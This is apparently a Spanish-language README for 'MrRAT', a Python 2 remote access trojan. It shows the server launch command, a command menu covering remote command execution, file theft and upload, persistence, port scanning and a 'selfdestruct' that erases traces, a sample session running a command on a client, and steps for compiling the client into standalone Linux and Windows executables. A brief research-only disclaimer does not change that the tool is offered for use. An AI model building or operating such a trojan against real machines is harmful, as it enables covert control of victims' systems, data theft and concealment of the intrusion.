
🐭 Este es un troyano de acceso remoto (RAT) multiplataforma en Python 2.x
Este es un troyano de acceso remoto (RAT) multiplataforma en Python 2.x. MrRAT fue creado para mantener un diseño limpio y un RAT Python con todas las funciones. Actualmente es un trabajo en progreso y todavía se continúa desarrollando activamente.
Aviso: Este RAT es solo para fines de investigación y solo debe usarse en sistemas autorizados. Acceder a un sistema informático o red sin autorización o permiso explícito es ilegal.
$ python MrRAT_server.py --port 1337
/$$ /$$ /$$$$$$$ /$$$$$$ /$$$$$$$$
| $$$ /$$$ | $$__ $$ /$$__ $$|__ $$__/
| $$$$ /$$$$ /$$$$$$ | $$ \ $$| $$ \ $$ | $$
| $$ $$/$$ $$ /$$__ $$| $$$$$$$/| $$$$$$$$ | $$
| $$ $$$| $$| $$ \__/| $$__ $$| $$__ $$ | $$
| $$\ $ | $$| $$ | $$ \ $$| $$ | $$ | $$
| $$ \/ | $$| $$ | $$ | $$| $$ | $$ | $$
|__/ |__/|__/ |__/ |__/|__/ |__/ |__/
, .
(\,;,/)
(o o)\//,
\ / \,
`+'( ( \ )
// \ |_./
'~' '~----'
https://github.com/user696/MrRAT
MrRAT server listening for connections on port 1337.
[?] MrRAT> help
client <id> - Connect to a client.
clients - List connected clients.
download <files> - Download file(s).
execute <command> - Execute a command on the target.
help - Show this help menu.
kill - Kill the client connection.
persistence - Apply persistence mechanism.
quit - Exit the server and end all client connections.
scan <ip> - Scan top 25 ports on a single host.
selfdestruct - Remove all traces of the RAT from the target system.
survey - Run a system survey.
unzip <file> - Unzip a file.
upload <files> - Upload files(s).
wget <url> - Download a file from the web.
[?] MrRAT> clients
ID - Client Address
1 - 127.0.0.1
[?] MrRAT> client 1
[1] MrRAT> execute uname -a
Linux sandbox3 4.8.13-1-ARCH #1 SMP PREEMPT Fri Dec 9 07:24:34 CET 2016 x86_64 GNU/Linux
Ten en cuenta que antes de compilar probablemente querrás modificar las variables HOST y PORT ubicadas al inicio de MrRAT_client.py para ajustarlas a tus necesidades.
En Linux necesitarás Python 2.x, PyInstaller y pycrypto. Luego ejecuta algo como pyinstaller2 --onefile MrRAT_client.py y debería generar una carpeta dist/ que contenga un ejecutable ELF independiente.
En Windows necesitarás Python 2.x, PyInstaller, pycrypto, pywin32 y pefile. Luego ejecuta algo como C:\path\to\PyInstaller-3.2\PyInstaller-3.2\pyinstaller.py --onefile MrRAT_client.py y debería generar una carpeta dist/ que contenga un PE (ejecutable portable) independiente.